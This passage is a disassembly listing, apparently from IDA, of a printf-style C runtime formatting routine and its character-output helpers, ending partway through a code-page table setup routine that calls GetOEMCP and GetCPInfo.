; ---------------------------------------------------------------------------


loc_41FECB:				; CODE XREF: sub_41FE9F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41FED3:				; CODE XREF: sub_41FE9F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_4205B8
		cmp	bl, 20h
		jl	short loc_41FEF4
		cmp	bl, 78h
		jg	short loc_41FEF4
		movsx	eax, bl
		mov	al, [eax+42873Ch]
		and	eax, 0Fh
		jmp	short loc_41FEF6
; ---------------------------------------------------------------------------


loc_41FEF4:				; CODE XREF: sub_41FE9F+40j
					; sub_41FE9F+45j
		xor	eax, eax


loc_41FEF6:				; CODE XREF: sub_41FE9F+53j
		movsx	eax, byte_42875C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_4205A7	; default
		jmp	off_4205C0[eax*4] ; switch jump


loc_41FF14:				; DATA XREF: .packed:off_4205C0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041FF0D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_41FF2F:				; CODE XREF: sub_41FE9F+6Ej
					; DATA XREF: .packed:off_4205C0o
		movsx	eax, bl		; jumptable 0041FF0D case 2
		sub	eax, 20h
		jz	short loc_41FF72
		sub	eax, 3
		jz	short loc_41FF69
		sub	eax, 8
		jz	short loc_41FF60
		dec	eax
		dec	eax
		jz	short loc_41FF57
		sub	eax, 3
		jnz	loc_4205A7	; default
		or	[ebp+var_4], 8
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_41FF57:				; CODE XREF: sub_41FE9F+A4j
		or	[ebp+var_4], 4
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_41FF60:				; CODE XREF: sub_41FE9F+A0j
		or	[ebp+var_4], 1
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_41FF69:				; CODE XREF: sub_41FE9F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_41FF72:				; CODE XREF: sub_41FE9F+96j
		or	[ebp+var_4], 2
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_41FF7B:				; CODE XREF: sub_41FE9F+6Ej
					; DATA XREF: .packed:off_4205C0o
		cmp	bl, 2Ah		; jumptable 0041FF0D case 3
		jnz	short loc_41FFA3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42067E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_4205A7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41FF9B:				; CODE XREF: sub_41FE9F+111j
		mov	[ebp+var_20], eax
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_41FFA3:				; CODE XREF: sub_41FE9F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41FF9B
; ---------------------------------------------------------------------------


loc_41FFB2:				; CODE XREF: sub_41FE9F+6Ej
					; DATA XREF: .packed:off_4205C0o
		mov	[ebp+var_10], edx ; jumptable 0041FF0D case 4
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_41FFBA:				; CODE XREF: sub_41FE9F+6Ej
					; DATA XREF: .packed:off_4205C0o
		cmp	bl, 2Ah		; jumptable 0041FF0D case 5
		jnz	short loc_41FFDD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42067E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_4205A7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_41FFDD:				; CODE XREF: sub_41FE9F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_41FFEF:				; CODE XREF: sub_41FE9F+6Ej
					; DATA XREF: .packed:off_4205C0o
		cmp	bl, 49h		; jumptable 0041FF0D case 6
		jz	short loc_420022
		cmp	bl, 68h
		jz	short loc_420019
		cmp	bl, 6Ch
		jz	short loc_420010
		cmp	bl, 77h
		jnz	loc_4205A7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_420010:				; CODE XREF: sub_41FE9F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_420019:				; CODE XREF: sub_41FE9F+158j
		or	[ebp+var_4], 20h
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_420022:				; CODE XREF: sub_41FE9F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_42003B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_42003B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_42003B:				; CODE XREF: sub_41FE9F+186j
					; sub_41FE9F+18Cj
		mov	[ebp+var_30], edx


loc_42003E:				; CODE XREF: sub_41FE9F+6Ej
					; DATA XREF: .packed:off_4205C0o
		mov	ecx, off_43EFE8	; jumptable 0041FF0D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42006A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4205E0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_42006A:				; CODE XREF: sub_41FE9F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4205E0
		add	esp, 0Ch
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_420082:				; CODE XREF: sub_41FE9F+6Ej
					; DATA XREF: .packed:off_4205C0o
		movsx	eax, bl		; jumptable 0041FF0D case 7
		cmp	eax, 67h
		jg	loc_4202AA
		cmp	eax, 65h
		jge	loc_42012D
		cmp	eax, 58h
		jg	loc_42018B
		jz	loc_42031E
		sub	eax, 43h
		jz	loc_42014E
		dec	eax
		dec	eax
		jz	short loc_420123
		dec	eax
		dec	eax
		jz	short loc_420123
		sub	eax, 0Ch
		jnz	loc_4204A9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4200CC
		or	byte ptr [ebp+var_4+1],	8


loc_4200CC:				; CODE XREF: sub_41FE9F+227j
					; sub_41FE9F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4200D9
		mov	esi, 7FFFFFFFh


loc_4200D9:				; CODE XREF: sub_41FE9F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42067E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_4202F2
		test	ecx, ecx
		jnz	short loc_420101
		mov	ecx, off_43F204
		mov	[ebp+var_8], ecx


loc_420101:				; CODE XREF: sub_41FE9F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_42010A:				; CODE XREF: sub_41FE9F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_4202E9
		cmp	word ptr [eax],	0
		jz	loc_4202E9
		inc	eax
		inc	eax
		jmp	short loc_42010A
; ---------------------------------------------------------------------------


loc_420123:				; CODE XREF: sub_41FE9F+212j
					; sub_41FE9F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_42012D:				; CODE XREF: sub_41FE9F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_420211
		mov	[ebp+var_10], 6
		jmp	loc_42021F
; ---------------------------------------------------------------------------


loc_42014E:				; CODE XREF: sub_41FE9F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42015A
		or	byte ptr [ebp+var_4+1],	8


loc_42015A:				; CODE XREF: sub_41FE9F+2B5j
					; sub_41FE9F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4201A1
		call	sub_42069B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424686
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_4201B4
		mov	[ebp+var_28], 1
		jmp	short loc_4201B4
; ---------------------------------------------------------------------------


loc_42018B:				; CODE XREF: sub_41FE9F+1FBj
		sub	eax, 5Ah
		jz	short loc_4201C2
		sub	eax, 9
		jz	short loc_42015A
		dec	eax
		jz	loc_420384
		jmp	loc_4204A9
; ---------------------------------------------------------------------------


loc_4201A1:				; CODE XREF: sub_41FE9F+2C5j
		call	sub_42067E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_4201B4:				; CODE XREF: sub_41FE9F+2E1j
					; sub_41FE9F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_4204A9
; ---------------------------------------------------------------------------


loc_4201C2:				; CODE XREF: sub_41FE9F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42067E
		test	eax, eax
		pop	ecx
		jz	short loc_420203
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_420203
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_4201F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_4204A9
; ---------------------------------------------------------------------------


loc_4201F4:				; CODE XREF: sub_41FE9F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_4204A6
; ---------------------------------------------------------------------------


loc_420203:				; CODE XREF: sub_41FE9F+32Fj
					; sub_41FE9F+336j
		mov	eax, off_43F200
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42029F
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_41FE9F+29Dj
		jnz	short loc_42021F
		cmp	bl, 67h
		jnz	short loc_42021F
		mov	[ebp+var_10], 1


loc_42021F:				; CODE XREF: sub_41FE9F+2AAj
					; sub_41FE9F:loc_420211j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43F590
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420271
		cmp	[ebp+var_10], 0
		jnz	short loc_420271
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43F59C
		pop	ecx


loc_420271:				; CODE XREF: sub_41FE9F+3BCj
					; sub_41FE9F+3C2j
		cmp	bl, 67h
		jnz	short loc_420288
		test	esi, esi
		jnz	short loc_420288
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43F594
		pop	ecx


loc_420288:				; CODE XREF: sub_41FE9F+3D5j
					; sub_41FE9F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42029E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42029E:				; CODE XREF: sub_41FE9F+3F0j
		push	edi


loc_42029F:				; CODE XREF: sub_41FE9F+36Dj
		call	sub_41B7B0
		pop	ecx
		jmp	loc_4204A6
; ---------------------------------------------------------------------------


loc_4202AA:				; CODE XREF: sub_41FE9F+1E9j
		sub	eax, 69h
		jz	loc_420384
		sub	eax, 5
		jz	loc_42035A
		dec	eax
		jz	loc_420347
		dec	eax
		jz	short loc_420317
		sub	eax, 3
		jz	loc_4200CC
		dec	eax
		dec	eax
		jz	loc_420388
		sub	eax, 3
		jnz	loc_4204A9
		mov	[ebp+var_2C], 27h
		jmp	short loc_420325
; ---------------------------------------------------------------------------


loc_4202E9:				; CODE XREF: sub_41FE9F+270j
					; sub_41FE9F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_4204A6
; ---------------------------------------------------------------------------


loc_4202F2:				; CODE XREF: sub_41FE9F+24Fj
		test	ecx, ecx
		jnz	short loc_4202FF
		mov	ecx, off_43F200
		mov	[ebp+var_8], ecx


loc_4202FF:				; CODE XREF: sub_41FE9F+455j
		mov	eax, ecx


loc_420301:				; CODE XREF: sub_41FE9F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_420310
		cmp	byte ptr [eax],	0
		jz	short loc_420310
		inc	eax
		jmp	short loc_420301
; ---------------------------------------------------------------------------


loc_420310:				; CODE XREF: sub_41FE9F+467j
					; sub_41FE9F+46Cj
		sub	eax, ecx
		jmp	loc_4204A6
; ---------------------------------------------------------------------------


loc_420317:				; CODE XREF: sub_41FE9F+425j
		mov	[ebp+var_10], 8


loc_42031E:				; CODE XREF: sub_41FE9F+201j
		mov	[ebp+var_2C], 7


loc_420325:				; CODE XREF: sub_41FE9F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42038F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42038F
; ---------------------------------------------------------------------------


loc_420347:				; CODE XREF: sub_41FE9F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42038F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42038F
; ---------------------------------------------------------------------------


loc_42035A:				; CODE XREF: sub_41FE9F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42067E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420373
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420378
; ---------------------------------------------------------------------------


loc_420373:				; CODE XREF: sub_41FE9F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_420378:				; CODE XREF: sub_41FE9F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_4205A7	; default
; ---------------------------------------------------------------------------


loc_420384:				; CODE XREF: sub_41FE9F+2F7j
					; sub_41FE9F+40Ej
		or	[ebp+var_4], 40h


loc_420388:				; CODE XREF: sub_41FE9F+432j
		mov	[ebp+var_C], 0Ah


loc_42038F:				; CODE XREF: sub_41FE9F+491j
					; sub_41FE9F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_4203A1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42068B
		pop	ecx
		jmp	short loc_4203E2
; ---------------------------------------------------------------------------


loc_4203A1:				; CODE XREF: sub_41FE9F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_4203C8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4203BD
		call	sub_42067E
		pop	ecx
		movsx	eax, ax


loc_4203BA:				; CODE XREF: sub_41FE9F+527j
					; sub_41FE9F+539j
		cdq
		jmp	short loc_4203E2
; ---------------------------------------------------------------------------


loc_4203BD:				; CODE XREF: sub_41FE9F+510j
		call	sub_42067E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_4203BA
; ---------------------------------------------------------------------------


loc_4203C8:				; CODE XREF: sub_41FE9F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4203DA
		call	sub_42067E
		pop	ecx
		jmp	short loc_4203BA
; ---------------------------------------------------------------------------


loc_4203DA:				; CODE XREF: sub_41FE9F+531j
		call	sub_42067E
		pop	ecx
		xor	edx, edx


loc_4203E2:				; CODE XREF: sub_41FE9F+500j
					; sub_41FE9F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_420403
		test	edx, edx
		jg	short loc_420403
		jl	short loc_4203F2
		test	eax, eax
		jnb	short loc_420403


loc_4203F2:				; CODE XREF: sub_41FE9F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_420407
; ---------------------------------------------------------------------------


loc_420403:				; CODE XREF: sub_41FE9F+547j
					; sub_41FE9F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_420407:				; CODE XREF: sub_41FE9F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_420410
		and	edi, 0


loc_420410:				; CODE XREF: sub_41FE9F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_42041F
		mov	[ebp+var_10], 1
		jmp	short loc_420423
; ---------------------------------------------------------------------------


loc_42041F:				; CODE XREF: sub_41FE9F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_420423:				; CODE XREF: sub_41FE9F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_42042D
		and	[ebp+var_1C], 0


loc_42042D:				; CODE XREF: sub_41FE9F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_420433:				; CODE XREF: sub_41FE9F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_420443
		mov	eax, esi
		or	eax, edi
		jz	short loc_42047E


loc_420443:				; CODE XREF: sub_41FE9F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DC80
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DC10
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420474
		add	ebx, [ebp+var_2C]


loc_420474:				; CODE XREF: sub_41FE9F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_420433
; ---------------------------------------------------------------------------


loc_42047E:				; CODE XREF: sub_41FE9F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_4204A9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42049C
		test	eax, eax
		jnz	short loc_4204A9


loc_42049C:				; CODE XREF: sub_41FE9F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_4204A6:				; CODE XREF: sub_41FE9F+35Fj
					; sub_41FE9F+406j ...
		mov	[ebp+var_C], eax


loc_4204A9:				; CODE XREF: sub_41FE9F+21Bj
					; sub_41FE9F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_4205A7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_4204E1
		test	bh, 1
		jz	short loc_4204C6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_4204DA
; ---------------------------------------------------------------------------


loc_4204C6:				; CODE XREF: sub_41FE9F+61Fj
		test	bl, 1
		jz	short loc_4204D1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_4204DA
; ---------------------------------------------------------------------------


loc_4204D1:				; CODE XREF: sub_41FE9F+62Aj
		test	bl, 2
		jz	short loc_4204E1
		mov	[ebp+var_16], 20h


loc_4204DA:				; CODE XREF: sub_41FE9F+625j
					; sub_41FE9F+630j
		mov	[ebp+var_1C], 1


loc_4204E1:				; CODE XREF: sub_41FE9F+61Aj
					; sub_41FE9F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_420501
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_420615
		add	esp, 10h


loc_420501:				; CODE XREF: sub_41FE9F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_420646
		add	esp, 10h
		test	bl, 8
		jz	short loc_420533
		test	bl, 4
		jnz	short loc_420533
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_420615
		add	esp, 10h


loc_420533:				; CODE XREF: sub_41FE9F+67Bj
					; sub_41FE9F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42057A
		cmp	[ebp+var_C], 0
		jle	short loc_42057A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_420548:				; CODE XREF: sub_41FE9F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424686
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42058F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_420646
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_420548
		jmp	short loc_42058F
; ---------------------------------------------------------------------------


loc_42057A:				; CODE XREF: sub_41FE9F+698j
					; sub_41FE9F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_420646
		add	esp, 10h


loc_42058F:				; CODE XREF: sub_41FE9F+6BCj
					; sub_41FE9F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_4205A7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_420615
		add	esp, 10h


loc_4205A7:				; CODE XREF: sub_41FE9F+68j
					; sub_41FE9F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FECB


loc_4205B8:				; CODE XREF: sub_41FE9F+1Fj
					; sub_41FE9F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FE9F	endp

; ---------------------------------------------------------------------------
off_4205C0	dd offset loc_42003E	; DATA XREF: sub_41FE9F+6Er
		dd offset loc_41FF14	; jump table for switch	statement
		dd offset loc_41FF2F
		dd offset loc_41FF7B
		dd offset loc_41FFB2
		dd offset loc_41FFBA
		dd offset loc_41FFEF
		dd offset loc_420082

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4205E0	proc near		; CODE XREF: sub_41FE9F+1BDp
					; sub_41FE9F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_4205F9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_420604
; ---------------------------------------------------------------------------


loc_4205F9:				; CODE XREF: sub_4205E0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FD8A
		pop	ecx
		pop	ecx


loc_420604:				; CODE XREF: sub_4205E0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_420611
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420611:				; CODE XREF: sub_4205E0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_4205E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_420615	proc near		; CODE XREF: sub_41FE9F+65Ap
					; sub_41FE9F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_420643
		mov	esi, [esp+8+arg_C]


loc_420626:				; CODE XREF: sub_420615+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_4205E0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_420643
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_420626


loc_420643:				; CODE XREF: sub_420615+Bj
					; sub_420615+25j
		pop	edi
		pop	esi
		retn
sub_420615	endp


; =============== S U B	R O U T	I N E =======================================



sub_420646	proc near		; CODE XREF: sub_41FE9F+670p
					; sub_41FE9F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42067A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_42065C:				; CODE XREF: sub_420646+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_4205E0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42067A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_42065C


loc_42067A:				; CODE XREF: sub_420646+Cj
					; sub_420646+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420646	endp


; =============== S U B	R O U T	I N E =======================================



sub_42067E	proc near		; CODE XREF: sub_41FE9F+E5p
					; sub_41FE9F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42067E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42068B	proc near		; CODE XREF: sub_41FE9F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42068B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42069B	proc near		; CODE XREF: sub_41FE9F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42069B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A9	proc near		; CODE XREF: sub_420A6D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420842	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DF484
		mov	[ebp+arg_0], esi
		jz	loc_420836
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42082C
		xor	edx, edx
		mov	eax, offset dword_43F210


loc_4206DD:				; CODE XREF: sub_4206A9+41j
		cmp	[eax], esi
		jz	short loc_420753
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43F300
		jl	short loc_4206DD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4281D0	; GetCPInfo
		cmp	eax, 1
		jnz	loc_420824
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DF5A0
		cmp	[ebp+var_18], 1
		mov	dword_4DF484, esi
		rep stosd
		stosb
		mov	dword_4DF6A4, ebx
		jbe	loc_420812
		cmp	[ebp+var_12], 0
		jz	loc_4207E8
		lea	ecx, [ebp+var_11]


loc_420730:				; CODE XREF: sub_4206A9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_4207E8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_420741:				; CODE XREF: sub_4206A9+A8j
		cmp	eax, edx
		ja	loc_4207DC
		or	byte_4DF5A1[eax], 4
		inc	eax
		jmp	short loc_420741
; ---------------------------------------------------------------------------


loc_420753:				; CODE XREF: sub_4206A9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DF5A0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43F220[esi]


loc_42076F:				; CODE XREF: sub_4206A9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_4207A2


loc_420776:				; CODE XREF: sub_4206A9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_4207A2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42079B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43F208[edx]


loc_420790:				; CODE XREF: sub_4206A9+F0j
		or	byte_4DF5A1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420790


